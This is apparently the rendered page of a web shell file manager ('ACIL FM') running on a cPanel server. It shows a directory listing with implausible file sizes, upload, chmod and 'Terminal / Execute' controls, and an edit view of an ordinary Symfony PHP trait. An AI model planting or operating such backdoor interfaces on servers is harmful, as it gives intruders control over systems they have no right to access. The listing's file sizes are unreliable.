ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/symfony/service-contracts
/
opt
cpanel
ea-wappspector
vendor
symfony
service-contracts
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Attribute
-
chmod
Open
Rename
Delete
Test
-
chmod
Open
Rename
Delete
CHANGELOG.md
157 B
chmod
View
DL
Edit
Rename
Delete
composer.json
1.12 MB
chmod
View
DL
Edit
Rename
Delete
LICENSE
1.04 MB
chmod
View
DL
Edit
Rename
Delete
README.md
330 B
chmod
View
DL
Edit
Rename
Delete
ResetInterface.php
1.01 MB
chmod
View
DL
Edit
Rename
Delete
ServiceCollectionInterface.php
626 B
chmod
View
DL
Edit
Rename
Delete
ServiceLocatorTrait.php
3.52 MB
chmod
View
DL
Edit
Rename
Delete
ServiceMethodsSubscriberTrait.php
2.95 MB
chmod
View
DL
Edit
Rename
Delete
ServiceProviderInterface.php
1.35 MB
chmod
View
DL
Edit
Rename
Delete
ServiceSubscriberInterface.php
2.69 MB
chmod
View
DL
Edit
Rename
Delete
ServiceSubscriberTrait.php
3.18 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/symfony/service-contracts/ServiceMethodsSubscriberTrait.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Psr\Container\ContainerInterface; use Symfony\Contracts\Service\Attribute\Required; use Symfony\Contracts\Service\Attribute\SubscribedService; /** * Implementation of ServiceSubscriberInterface that determines subscribed services * from methods that have the #[SubscribedService] attribute. * * Service ids are available as "ClassName::methodName" so that the implementation * of subscriber methods can be just `return $this->container->get(__METHOD__);`. * * @author Kevin Bond <kevinbond@gmail.com> */ trait ServiceMethodsSubscriberTrait { protected ContainerInterface $container; public static function getSubscribedServices(): array { $services = method_exists(get_parent_class(self::class) ?: '', __FUNCTION__) ? parent::getSubscribedServices() : []; foreach ((new \ReflectionClass(self::class))->getMethods() as $method) { if (self::class !== $method->getDeclaringClass()->name) { continue; } if (!$attribute = $method->getAttributes(SubscribedService::class)[0] ?? null) { continue; } if ($method->isStatic() || $method->isAbstract() || $method->isGenerator() || $method->isInternal() || $method->getNumberOfRequiredParameters()) { throw new \LogicException(\sprintf('Cannot use "%s" on method "%s::%s()" (can only be used on non-static, non-abstract methods with no parameters).', SubscribedService::class, self::class, $method->name)); } if (!$returnType = $method->getReturnType()) { throw new \LogicException(\sprintf('Cannot use "%s" on methods without a return type in "%s::%s()".', SubscribedService::class, $method->name, self::class)); } /* @var SubscribedService $attribute */ $attribute = $attribute->newInstance(); $attribute->key ??= self::class.'::'.$method->name; $attribute->type ??= $returnType instanceof \ReflectionNamedType ? $returnType->getName() : (string) $returnType; $attribute->nullable = $attribute->nullable ?: $returnType->allowsNull(); if ($attribute->attributes) { $services[] = $attribute; } else { $services[$attribute->key] = ($attribute->nullable ? '?' : '').$attribute->type; } } return $services; } #[Required] public function setContainer(ContainerInterface $container): ?ContainerInterface { $ret = null; if (method_exists(get_parent_class(self::class) ?: '', __FUNCTION__)) { $ret = parent::setContainer($container); } $this->container = $container; return $ret; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply